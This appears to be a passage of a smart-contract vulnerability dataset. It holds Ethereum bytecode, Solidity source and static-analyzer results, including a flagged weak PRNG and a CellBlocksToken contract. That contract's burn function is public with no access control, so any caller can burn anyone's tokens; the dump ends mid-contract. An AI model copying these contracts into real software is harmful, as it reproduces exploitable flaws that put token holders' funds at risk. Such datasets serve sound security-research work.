01600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160018152602001600381526020016007815260200160088152602001600a81525082600360098110610db157610db1612ed7565b602002015160016020020181905250604051806105000160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016022815260200160328152602001603981526020016051815260200160588152602001605a81525082600360098110610ef557610ef5612ed7565b60200201516002602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016014815260200160238152602001602d81526020016032815260200160378152508260036009811061103957611039612ed7565b602002015160036020020181905250604051806105000160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016001815260200160028152602001600381526020016005815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601281526020016014815260200160158152602001601681526020016017815260200160188152508260046009811061117d5761117d612ed7565b602002015160006020020181905250604051806105000160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600f8152602001601181526020016013815260200160148152602001601581526020016016815260200160178152602001601881526020016019815250826004600981106112c1576112c1612ed7565b60200201516001602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600f8152602001601e8152602001602d815260200160378152602001603d815260200160438152602001604a81526020016050815260200160568152602001605e8152602001606281526020016066815260200160688152602001606c81526020016072815260200160788152602001607c8152602001607d8152508260046009811061140557611405612ed7565b60200201516002602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160238152602001602d81526020016037815260200160418152602001604b81526020016051815260200160578152602001605e815260200160648152602001606a8152602001606e81526020016074815260200160768152602001607a81526020016080815260200160868152602001608a8152602001608b8152602001608d8152508260046009811061154957611549612ed7565b602002015160036020020181905250604051806105000160405280600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160168152602001601781526020016018815260200160198152602001601a8152602001601b8152602001601c8152602001601d8152602001601e8152602001601f8152602001602081526020016021815260200160228152602001602381526020016024815260200160258152508260056009811061168d5761168d612ed7565b602002015160006020020181905250604051806105000160405280600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160168152602001601781526020016018815260200160198152602001601a8152602001601b8152602001601c8152602001601d8152602001601e8152602001601f815260200160208152602001602181526020016022815260200160238152602001602481526020016025815250826005600981106117d1576117d1612ed7565b6020020151600160200201819052506040518061050001604052806000815260200160008152602001601e81526020016037815260200160498152602001607181526020016099815260200160c1815260200160ee815260200161010c8152602001610120815260200161013e815260200161014d815260200161017581526020016101a281526020016101ca81526020016101e881526020016102158152602001610233815260200161025b815260200161028381526020016102b081526020016102c481526020016102f1815260200161030081526020016103198152602001610332815260200161034b8152602001610369815260200161037a815260200161038e81526020016103a781526020016103bb81526020016103d481526020016103d681526020016103d881526020016103da81526020016103dc81526020016103de81526020016103e88152508260056009811061193457611934612ed7565b6020020151600260200201819052506040518061050001604052806000815260200160008152602001601e81526020016037815260200160498152602001607181526020016099815260200160c1815260200160ee815260200161010c8152602001610120815260200161013e815260200161014d815260200161017581526020016101a281526020016101ca81526020016101e881526020016102158152602001610233815260200161025b815260200161028381526020016102b081526020016102c481526020016102f1815260200161030081526020016103198152602001610332815260200161034b8152602001610369815260200161037a815260200161038e81526020016103a781526020016103bb81526020016103d481526020016103d681526020016103d881526020016103da81526020016103dc81526020016103de81526020016103e881525082600560098110611a9757611a97612ed7565b60200201516003602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160168152602001601781526020016018815260200160198152602001601a8152602001601b8152602001601c8152602001601d8152602001601e8152602001601f815260200160208152602001602181525082600660098110611bdb57611bdb612ed7565b60200201516000602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160168152602001601781526020016018815260200160198152602001601a8152602001601b8152602001601c8152602001601d8152602001601e8152602001601f815260200160208152602001602181525082600660098110611d1f57611d1f612ed7565b6020020151600160200201819052506040518061050001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160088152602001601081526020016013815260200160178152602001601f815260200160278152602001602f81526020016034815260200160368152602001603c8152602001603e815260200160468152602001604c815260200160548152602001605c81526020016062815260200160688152602001606e815260200160748152602001607b81526020016081815260200160878152602001608f8152602001609481526020016099815260200160a0815260200160a8815260200160ae815260200160b3815260200160b9815260200160bb815260200160c0815260200160c881525082600660098110611e6357611e63612ed7565b6020020151600260200201819052506040518061050001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160088152602001601081526020016013815260200160178152602001601f815260200160278152602001602f81526020016034815260200160368152602001603c8152602001603e815260200160468152602001604c815260200160548152602001605c81526020016062815260200160688152602001606e815260200160748152602001607b81526020016081815260200160878152602001608f8152602001609481526020016099815260200160a0815260200160a8815260200160ae815260200160b3815260200160b9815260200160bb815260200160c0815260200160c881525082600660098110611fa757611fa7612ed7565b60200201516003602002018190525060405180610500016040528060008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160168152602001601781526020016018815260200160198152602001601a8152602001601c8152602001601d8152602001601e8152602001601f815260200160208152602001602181526020016022815260200160238152602001602481526020016025815260200160268152602001602781526020016028815250826007600981106120eb576120eb612ed7565b602002015160006020020181905250604051806105000160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016002815260200160068152602001600b8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160188152602001601b8152602001601c8152602001601d8152602001601e8152602001601f8152602001602081526020016021815260200160228152602001602381526020016024815260200160258152602001602681526020016027815260200160288152508260076009811061222f5761222f612ed7565b6020020151600160200201819052506040518061050001604052806101228152602001610136815260200161013c81526020016101b4815260200161022c81526020016102a481526020016102f4815260200161031c815260200161036c815260200161040c815260200161042a8152602001610448815260200161049881526020016104fc8152602001610524815260200161054c815260200161057481526020016105b081526020016106008152602001610628815260200161065081526020016106a081526020016106be81526020016106e68152602001610704815260200161072281526020016107408152602001610754815260200161075a8152602001610764815260200161076a81526020016107718152602001610781815260200161078a815260200161078e81526020016107928152602001610796815260200161079a815260200161079e81526020016107b28152508260076009811061239b5761239b612ed7565b60200201516002602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200161012281526020016101288152602001610178815260200161019681526020016101fa8152602001610222815260200161024a815260200161027281526020016102ae81526020016102fe8152602001610326815260200161034e815260200161039e81526020016103bc81526020016103da81526020016103ee81526020016103f481526020016103fe8152602001610404815260200161040b815260200161041b81526020016104248152602001610428815260200161042c815260200161043081526020016104348152602001610438815260200161044c815250826007600981106124fb576124fb612ed7565b602002015160036020020181905250604051806105000160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160168152508260086009811061263f5761263f612ed7565b602002015160006020020181905250604051806105000160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815260200160108152602001601181526020016012815260200160138152602001601481526020016015815260200160168152508260086009811061278357612783612ed7565b60200201516001602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016102b281526020016102c681526020016102da81526020016102ee81526020016103028152602001610316815260200161032a815260200161032f81526020016103438152602001610357815260200161036b815260200161037a8152602001610389815260200161039d81526020016103b181526020016103c581526020016103c781526020016103c981526020016103cb81526020016103cd81526020016103cf81526020016103d981526020016103e8815250826008600981106128de576128de612ed7565b60200201516002602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016102b281526020016102c681526020016102da81526020016102ee81526020016103028152602001610316815260200161032a815260200161032f81526020016103438152602001610357815260200161036b815260200161037a8152602001610389815260200161039d81526020016103b181526020016103c581526020016103c781526020016103c981526020016103cb81526020016103cd81526020016103cf81526020016103d981526020016103e881525082600860098110612a3957612a39612ed7565b602002015160600152600044874288612a5181612f03565b60408051602081019690965285019390935260608401919091526080830152965060a00160408051601f19818403018152919052805160209091012090506000805b6002811015612b0c5760208401518160028110612ab257612ab2612ed7565b6020020151846001602002015160016020020151612ad09085612f1e565b1015612afa57835190915081908160028110612aee57612aee612ed7565b60200201518652612b0c565b80612b0481612f03565b915050612a93565b5060015b6009811015612cb1574483428a612b2681612f03565b60408051602081019690965285019390935260608401919091526080830152985060a0016040516020818303038152906040528051906020012060001c92506000858260098110612b7957612b79612ed7565b6020020151612b89846002612f40565b60048110612b9957612b99612ed7565b6020020151612baa60016028612f58565b60288110612bba57612bba612ed7565b6020020151612bc99085612f1e565b905060005b6028811015612c9c57868360098110612be957612be9612ed7565b6020020151612bf9856002612f40565b60048110612c0957612c09612ed7565b60200201518160288110612c1f57612c1f612ed7565b6020020151821015612c8a57868360098110612c3d57612c3d612ed7565b60200201518460048110612c5357612c53612ed7565b60200201518160288110612c6957612c69612ed7565b6020020151888460098110612c8057612c80612ed7565b6020020152612c9c565b80612c9481612f03565b915050612bce565b50508080612ca990612f03565b915050612b10565b5060c085015160031480612cc9575060c08501516015145b80612cd8575060c08501516016145b80612ce7575060c0850151601c145b15612cf457600060808601525b60e0850151601c1480612d0b575060e0850151601d145b80612d1a575060e0850151601f145b80612d29575060e08501516021145b15612d3657600060a08601525b60e085015160201480612d4d575060e08501516024145b80612d5c575060e08501516025145b15612d705760006080860181905260c08601525b60e085015160281415612d935760006080860181905260a0860181905260c08601525b50929695505050505050565b6040518061012001604052806009906020820280368337509192915050565b6040518061012001604052806009905b612dd6612e19565b815260200190600190039081612dce5790505090565b60405180604001604052806002905b612e03612e46565b815260200190600190039081612dfb5790505090565b60405180608001604052806004905b612e30612e64565b815260200190600190039081612e285790505090565b60405180604001604052806002906020820280368337509192915050565b6040518061050001604052806028906020820280368337509192915050565b60008060408385031215612e9657600080fd5b50508035926020909101359150565b6101208101818360005b6009811015612ece578151835260209283019290910190600101612eaf565b50505092915050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415612f1757612f17612eed565b5060010190565b600082612f3b57634e487b7160e01b600052601260045260246000fd5b500690565b60008219821115612f5357612f53612eed565b500190565b600082821015612f6a57612f6a612eed565b50039056fea2646970667358221220b9f4c26b91bc4cd6ba5d8d9e10cba96ac95e4b3e51fbf7556492e57e905fc36864736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,415
0x86fd7abfc9f80a1ffc1a2be01dc3859017801ae1
pragma solidity ^0.4.19; /* Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* MIT License for burn() function and event Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CellBlocksToken is EIP20Interface, Ownable { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX function CellBlocksToken() public { balances[msg.sender] = 25*(10**25); // Give the creator all initial tokens totalSupply = 25*(10**25); // Update total supply name = "CellBlocks"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "CLBK"; // Set the symbol for display purposes } //as long as supply > 83*(10**24) and timestamp is after 6/20/18 12:01 am MST, //transfer will call halfPercent() and burn() to burn 0.5% of each transaction function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); if (totalSupply > 83*(10**24) && block.timestamp >= 1529474460) { uint halfP = halfPercent(_value); burn(msg.sender, halfP); _value = SafeMath.sub(_value, halfP); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } //as long as supply > 83*(10**24) and timestamp is after 6/20/18 12:01 am MST, //transferFrom will call halfPercent() and burn() to burn 0.5% of each transaction function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); if (totalSupply > 83*(10**24) && block.timestamp >= 1529474460) { uint halfP = halfPercent(_value); burn(_from, halfP); _value = SafeMath.sub(_value, halfP); } balances[_to] = SafeMath.add(balances[_to], _value); balances[_from] = SafeMath.sub(balances[_from], _value); if (allowance < MAX_UINT256) { allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice returns uint representing 0.5% of _value /// @param _value amount to calculate 0.5% of /// @return uint representing 0.5% of _value function halfPercent(uint _value) private pure returns(uint amount) { if (_value > 0) { // caution, check safe-to-multiply here uint temp = SafeMath.mul(_value, 5); amount = SafeMath.div(temp, 1000); if (amount == 0) { amount = 1; } } else { amount = 0; } return; } /// @notice burns _value of tokens from address burner /// @param burner The address to burn the tokens from /// @param _value The amount of tokens to be burnt function burn(address burner, uint256 _value) public { require(_value <= balances[burner]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure if (_value > 0) { balances[burner] = SafeMath.sub(balances[burner], _value); totalSupply = SafeMath.sub(totalSupply, _value); Burn(burner, _value); Transfer(burner, address(0), _value); } } event Burn(address indexed burner, uint256 value); }
0x6060604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019457806323b872dd146101b957806327e235e3146101e1578063313ce567146102005780635c6581651461022957806370a082311461024e5780638da5cb5b1461026d57806395d89b411461029c5780639dc29fac146102af578063a9059cbb146102d3578063dd62ed3e146102f5578063f2fde38b1461031a575b600080fd5b34156100df57600080fd5b6100e7610339565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012357808201518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016957600080fd5b610180600160a060020a03600435166024356103d7565b604051901515815260200160405180910390f35b341561019f57600080fd5b6101a7610443565b60405190815260200160405180910390f35b34156101c457600080fd5b610180600160a060020a0360043581169060243516604435610449565b34156101ec57600080fd5b6101a7600160a060020a0360043516610602565b341561020b57600080fd5b610213610614565b60405160ff909116815260200160405180910390f35b341561023457600080fd5b6101a7600160a060020a036004358116906024351661061d565b341561025957600080fd5b6101a7600160a060020a036004351661063a565b341561027857600080fd5b610280610655565b604051600160a060020a03909116815260200160405180910390f35b34156102a757600080fd5b6100e7610664565b34156102ba57600080fd5b6102d1600160a060020a03600435166024356106cf565b005b34156102de57600080fd5b610180600160a060020a03600435166024356107cb565b341561030057600080fd5b6101a7600160a060020a03600435811690602435166108f0565b341561032557600080fd5b6102d1600160a060020a036004351661091b565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103cf5780601f106103a4576101008083540402835291602001916103cf565b820191906000526020600020905b8154815290600101906020018083116103b257829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a038084166000818152600360209081526040808320339095168352938152838220549282526002905291822054829084901080159061048f5750838210155b151561049a57600080fd5b6a44a7ef040c710b330000006000541180156104ba5750635b29ed9c4210155b156104e1576104c8846109b6565b90506104d486826106cf565b6104de84826109f9565b93505b600160a060020a0385166000908152600260205260409020546105049085610a0b565b600160a060020a03808716600090815260026020526040808220939093559088168152205461053390856109f9565b600160a060020a0387166000908152600260205260409020556000198210156105af57600160a060020a038087166000908152600360209081526040808320339094168352929052205461058790856109f9565b600160a060020a03808816600090815260036020908152604080832033909416835292905220555b84600160a060020a031686600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405190815260200160405180910390a350600195945050505050565b60026020526000908152604090205481565b60055460ff1681565b600360209081526000928352604080842090915290825290205481565b600160a060020a031660009081526002602052604090205490565b600154600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103cf5780601f106103a4576101008083540402835291602001916103cf565b600160a060020a0382166000908152600260205260409020548111156106f457600080fd5b60008111156107c757600160a060020a03821660009081526002602052604090205461072090826109f9565b600160a060020a0383166000908152600260205260408120919091555461074790826109f9565b600055600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35b5050565b600160a060020a0333166000908152600260205260408120548190839010156107f357600080fd5b6a44a7ef040c710b330000006000541180156108135750635b29ed9c4210155b1561083a57610821836109b6565b905061082d33826106cf565b61083783826109f9565b92505b600160a060020a03331660009081526002602052604090205461085d90846109f9565b600160a060020a03338116600090815260026020526040808220939093559086168152205461088c9084610a0b565b600160a060020a0380861660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a0390811691161461093657600080fd5b600160a060020a038116151561094b57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008060008311156109ee576109cd836005610a21565b90506109db816103e8610a4c565b91508115156109e957600191505b6109f3565b600091505b50919050565b600082821115610a0557fe5b50900390565b600082820183811015610a1a57fe5b9392505050565b600080831515610a3457600091506108e9565b50828202828482811515610a4457fe5b0414610a1a57fe5b6000808284811515610a5a57fe5b049493505050505600a165627a7a72305820d4724e3d7dcbf8cfd1407ead4984e34adc773e0f6d810c45dc961c7dc1e834990029
{"success": true, "error": null, "results": {}}
7,416
0x514247357b9b572483dced43b8a1ebcced6d3953
pragma solidity ^0.4.16; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => 